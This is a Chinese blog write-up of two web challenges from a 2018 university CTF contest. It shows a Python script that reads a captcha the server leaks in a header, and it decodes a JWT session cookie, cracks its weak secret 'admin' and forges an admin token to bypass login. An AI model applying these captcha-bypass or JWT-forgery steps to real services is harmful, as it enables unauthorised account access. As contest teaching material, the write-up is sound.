【ZJNU第六届CTF院赛暨CTF集训队招新 B组 WEB题解】

2018-10-18  本文已影响0人  sgdream

前言

本次出题真的很简单,因为考虑到了时间只有两个半小时所以将题目大半部分都删除了,都只留下了开头的小部分(真的真的)

让我们步入正题:看一看这两道简单的签到题

web1 令人头疼的验证码


首先打开题目

看到这个页面是否突然
并且题目提示 验证码区分大小写 难度是否感觉骤增。这时候要放心毕竟只有2个半小时的比赛,出题人不会出一道折磨你的题(相信我)

步入正题:这道题 有两种解法
第一种:机器学习 轻松解决,在这里不做这种解法的详细说明(例如: caffe 机器学习)
第二种: 也是本题的预期解法

首先 在 index.php 的 header 中发现一个
Flag:
以及 在 captcha.php 的 header 中发现
captcha:wFFH(这是重点啊!!!验证码都告诉你了)


接下来写脚本跑一下
#encoding=utf-8
from requests import *
urlhead ='xxx'
url = urlhead+'captcha.php?0.5454454929338202'
kk = session()
flag = ''
for i in range(91):
    print(i)
    code = kk.get(url)
    data = {
        "validate": code.headers['captcha']
    }
    b = kk.post(urlhead,data=data)
    if "flag" in b.text:
        print(b.text)

结果并没有发现flag


接下来让我们联想到之前的header 中的 Flag:
于是我们开始改进脚本
#encoding=utf-8
from requests import *
import base64
urlhead = 'xxx'
url = urlhead+'captcha.php?0.5454454929338202'
kk = session()
flag = ''
for i in range(91):
    print(i)
    code = kk.get(url)
    data = {
        "validate": code.headers['captcha']
    }
    b = kk.post(urlhead,data=data)
    if len(b.headers['Flag'])>=2:
        flag+=(b.headers['Flag'])
print(base64.b64decode(flag) )

就能得到flag flag{HeaDer_is_s0_Go0D1s}

web2 简单的登录签到


这道题拿到手后发现是一个登录界面
随意输入账号密码 后发现提示只有admin才能得到flag 并且admin 禁止输入
同时我们在返回头发现异常cookie
PHPSESSID=ZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5Sm1iR0ZuSWpvaUlpd2lkWE5sY2lJNklqRXlNeUlzSW5ScGJXVWlPaUl4TlRNNU9ETTVNVEV6SW4wLkZxWEdWaEZwVnlYa0FWeXIyZkZBTjVwSG1zOVNWZE9FbllJaFFzNU42OHc=
这里仔细观察能发现是base64的编码
我们进行base64解码后发现数据格式为:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiIiwidXNlciI6IjEyMyIsInRpbWUiOiIxNTM5ODM5MTEzIn0.FqXGVhFpVyXkAVyr2fFAN5pHms9SVdOEnYIhQs5N68w
【当我们遇到没见过的数据时候可以拿去百度】

大家千万不要这样

这段数据是jwt(Json web token)鉴权 https://jwt.io/
那么我们可以通过模拟cookie为admin的数据来绕过认证获取cookie
jwt的格式为:
Header.Payload.Signature( Header 头部 Payload 负载 Signature 签名)
例如上面这段数据,解析结果如下

HEADER:
{
  "alg": "HS256",
  "typ": "JWT"
}
PAYLOAD:
{
  "flag": "",
  "user": "123",
  "time": "1539839113"
}
VERIFY SIGNATURE
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret  # 这段密码是未知的
)

因为题目表示为签到题

于是我们可以尝试爆破来获取secret 或者直接将admin放入尝试(在比赛中可以将题目中给出的信息加入字典进行尝试)
本次secret 是admin
接下来构造user 为 admin 的payload (可以直接用jwt.io 这个网站进行构造)
构造的payload如下
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiIiwidXNlciI6ImFkbWluIiwidGltZSI6IjE1Mzk4MzkxMTMifQ.B5_wDBZgvYPTbDAaD3kddWLLfdyLfNRB1BaD2uOgXjk
然后base64 放入cookie中提交即可看到flag
flag{i_L1ke_pytH0n_so_so_much_eaSy}


题外话:

上一篇下一篇

猜你喜欢

热点阅读